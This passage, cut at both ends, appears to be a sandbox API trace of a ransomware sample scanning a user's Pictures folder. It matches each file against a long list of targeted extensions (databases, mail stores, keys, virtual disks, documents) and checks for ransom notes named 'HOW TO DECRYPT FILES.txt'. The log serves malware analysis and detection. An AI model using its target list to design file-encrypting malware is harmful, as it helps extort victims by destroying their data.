HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.bz2") returned 0 [0090.968] lstrlenA (lpString="*.bz2") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.gz") returned 0 [0090.968] lstrlenA (lpString="*.gz") returned 4 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mkv") returned 0 [0090.968] lstrlenA (lpString="*.mkv") returned 5 [0090.968] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.eml") returned 0 [0090.968] lstrlenA (lpString="*.eml") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.msg") returned 0 [0090.969] lstrlenA (lpString="*.msg") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.edb") returned 0 [0090.969] lstrlenA (lpString="*.edb") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.accdb") returned 0 [0090.969] lstrlenA (lpString="*.accdb") returned 7 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.odb") returned 0 [0090.969] lstrlenA (lpString="*.odb") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.java") returned 0 [0090.969] lstrlenA (lpString="*.java") returned 6 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.asm") returned 0 [0090.969] lstrlenA (lpString="*.asm") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.pfx") returned 0 [0090.969] lstrlenA (lpString="*.pfx") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.pem") returned 0 [0090.969] lstrlenA (lpString="*.pem") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.p12") returned 0 [0090.969] lstrlenA (lpString="*.p12") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.gpg") returned 0 [0090.969] lstrlenA (lpString="*.gpg") returned 5 [0090.969] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.vsd") returned 0 [0090.970] lstrlenA (lpString="*.vsd") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.odg") returned 0 [0090.970] lstrlenA (lpString="*.odg") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.raw") returned 0 [0090.970] lstrlenA (lpString="*.raw") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.nef") returned 0 [0090.970] lstrlenA (lpString="*.nef") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.svg") returned 0 [0090.970] lstrlenA (lpString="*.svg") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.psd") returned 0 [0090.970] lstrlenA (lpString="*.psd") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.vmx") returned 0 [0090.970] lstrlenA (lpString="*.vmx") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.vmdk") returned 0 [0090.970] lstrlenA (lpString="*.vmdk") returned 6 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.vdi") returned 0 [0090.970] lstrlenA (lpString="*.vdi") returned 5 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.lay6") returned 0 [0090.970] lstrlenA (lpString="*.lay6") returned 6 [0090.970] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mpeg") returned 0 [0090.971] lstrlenA (lpString="*.mpeg") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.djvu") returned 0 [0090.971] lstrlenA (lpString="*.djvu") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.tiff") returned 0 [0090.971] lstrlenA (lpString="*.tiff") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.backup") returned 0 [0090.971] lstrlenA (lpString="*.backup") returned 8 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.pdf") returned 0 [0090.971] lstrlenA (lpString="*.pdf") returned 5 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.cert") returned 0 [0090.971] lstrlenA (lpString="*.cert") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.docm") returned 0 [0090.971] lstrlenA (lpString="*.docm") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.xlsm") returned 0 [0090.971] lstrlenA (lpString="*.xlsm") returned 6 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.dwg") returned 0 [0090.971] lstrlenA (lpString="*.dwg") returned 5 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.nd") returned 0 [0090.971] lstrlenA (lpString="*.nd") returned 4 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.tlg") returned 0 [0090.971] lstrlenA (lpString="*.tlg") returned 5 [0090.971] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.lgb") returned 0 [0090.972] lstrlenA (lpString="*.lgb") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mov") returned 0 [0090.972] lstrlenA (lpString="*.mov") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.xdw") returned 0 [0090.972] lstrlenA (lpString="*.xdw") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.ods") returned 0 [0090.972] lstrlenA (lpString="*.ods") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.wav") returned 0 [0090.972] lstrlenA (lpString="*.wav") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.mp3") returned 0 [0090.972] lstrlenA (lpString="*.mp3") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.aiff") returned 0 [0090.972] lstrlenA (lpString="*.aiff") returned 6 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.flac") returned 0 [0090.972] lstrlenA (lpString="*.flac") returned 6 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.m4a") returned 0 [0090.972] lstrlenA (lpString="*.m4a") returned 5 [0090.972] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif", pszSpec="*.csv") returned 0 [0090.972] lstrlenA (lpString="*.csv") returned 5 [0090.972] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd30ed150, ftCreationTime.dwHighDateTime=0x1d5e7dd, ftLastAccessTime.dwLowDateTime=0xb622d950, ftLastAccessTime.dwHighDateTime=0x1d5dc71, ftLastWriteTime.dwLowDateTime=0xb622d950, ftLastWriteTime.dwHighDateTime=0x1d5dc71, nFileSizeHigh=0x0, nFileSizeLow=0x10e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="HLUwwN9fvG6o6.png", cAlternateFileName="HLUWWN~1.PNG")) returned 1 [0090.973] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0090.973] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HLUwwN9fvG6o6.png") returned -1 [0090.973] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HLUwwN9fvG6o6.png") returned 1 [0090.973] lstrcmpiA (lpString1="", lpString2="HLUwwN9fvG6o6.png") returned -1 [0090.973] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\GXlOJ84-SLMfj37e6tM.gif") returned="GXlOJ84-SLMfj37e6tM.gif" [0090.973] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" [0090.973] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\") returned="" [0090.973] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" [0090.973] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\ty3onra9ivt2rvo\\1be7\\ciss89zr13ojxpngy\\pco9vdlm9\\a8rgspxw5znagk\\how to decrypt files.txt")) returned 0x20 [0090.973] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\", lpString2="HLUwwN9fvG6o6.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png" [0090.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.ems") returned 0 [0090.973] lstrlenA (lpString="*.ems") returned 5 [0090.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.db") returned 0 [0090.973] lstrlenA (lpString="*.db") returned 4 [0090.973] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.dbf") returned 0 [0090.973] lstrlenA (lpString="*.dbf") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.myox") returned 0 [0090.974] lstrlenA (lpString="*.myox") returned 6 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.myo") returned 0 [0090.974] lstrlenA (lpString="*.myo") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbw") returned 0 [0090.974] lstrlenA (lpString="*.qbw") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbb") returned 0 [0090.974] lstrlenA (lpString="*.qbb") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbm") returned 0 [0090.974] lstrlenA (lpString="*.qbm") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbo") returned 0 [0090.974] lstrlenA (lpString="*.qbo") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbx") returned 0 [0090.974] lstrlenA (lpString="*.qbx") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qba") returned 0 [0090.974] lstrlenA (lpString="*.qba") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qby") returned 0 [0090.974] lstrlenA (lpString="*.qby") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qbj") returned 0 [0090.974] lstrlenA (lpString="*.qbj") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.ofx") returned 0 [0090.974] lstrlenA (lpString="*.ofx") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.qif") returned 0 [0090.974] lstrlenA (lpString="*.qif") returned 5 [0090.974] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.mye") returned 0 [0090.975] lstrlenA (lpString="*.mye") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.mbox") returned 0 [0090.975] lstrlenA (lpString="*.mbox") returned 6 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.eml") returned 0 [0090.975] lstrlenA (lpString="*.eml") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.pst") returned 0 [0090.975] lstrlenA (lpString="*.pst") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.ost") returned 0 [0090.975] lstrlenA (lpString="*.ost") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.idx") returned 0 [0090.975] lstrlenA (lpString="*.idx") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.dbx") returned 0 [0090.975] lstrlenA (lpString="*.dbx") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.sql") returned 0 [0090.975] lstrlenA (lpString="*.sql") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\tY3onRA9iVt2rvo\\1be7\\CISS89zR13oJxpNgy\\PcO9VDlM9\\a8RgsPXW5zNagK\\HLUwwN9fvG6o6.png", pszSpec="*.mdb") returned 0 [0090.975] lstrlenA (lpString="*.mdb") returned 5 [0090.975] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 